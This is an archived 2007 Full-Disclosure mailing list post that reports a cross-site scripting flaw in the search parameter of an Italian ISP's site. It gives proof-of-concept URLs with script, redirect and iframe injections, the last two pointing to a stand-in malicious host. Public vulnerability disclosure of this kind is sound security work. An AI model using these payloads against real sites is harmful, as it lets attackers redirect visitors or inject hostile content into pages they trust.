full-disclosure - 155.libero.it XSS vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <f01fff670708031714p5c71db33yce9d3df2b54f6c3b@mail.gmail.com>
Date: Sat, 4 Aug 2007 02:14:55 +0200
From: "Gianni Amato" <guelfoweb@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: 155.libero.it XSS vulnerability

The Italian ISP Libero.it not check the HTTP POST Parameter "p_Query" on
search query and displays the content of this variable without modification
within the html form area.

Security problems on Libero's 155.it allows attackers to conduct XSS attacks
for the following URL:

http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query=

it is vulnerable for XSS via a malformed search query.

PoC:

- XSS in search function

http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query=
<script>alert(XSS)<script>


- Redirect

http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query= <script>
location.href="http://www.maliciouswebsite.com";</script>

- Html injection (iframe)

 <http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query=>
http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query= <iframe
src="http://www.maliciouswebsite.com
"></iframe>

Previous vulnerabilities:

http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/061957.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/061957.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/061939.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/062055.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064680.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064681.html

-- 
Gianni Amato
http://www.gianniamato.it/

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/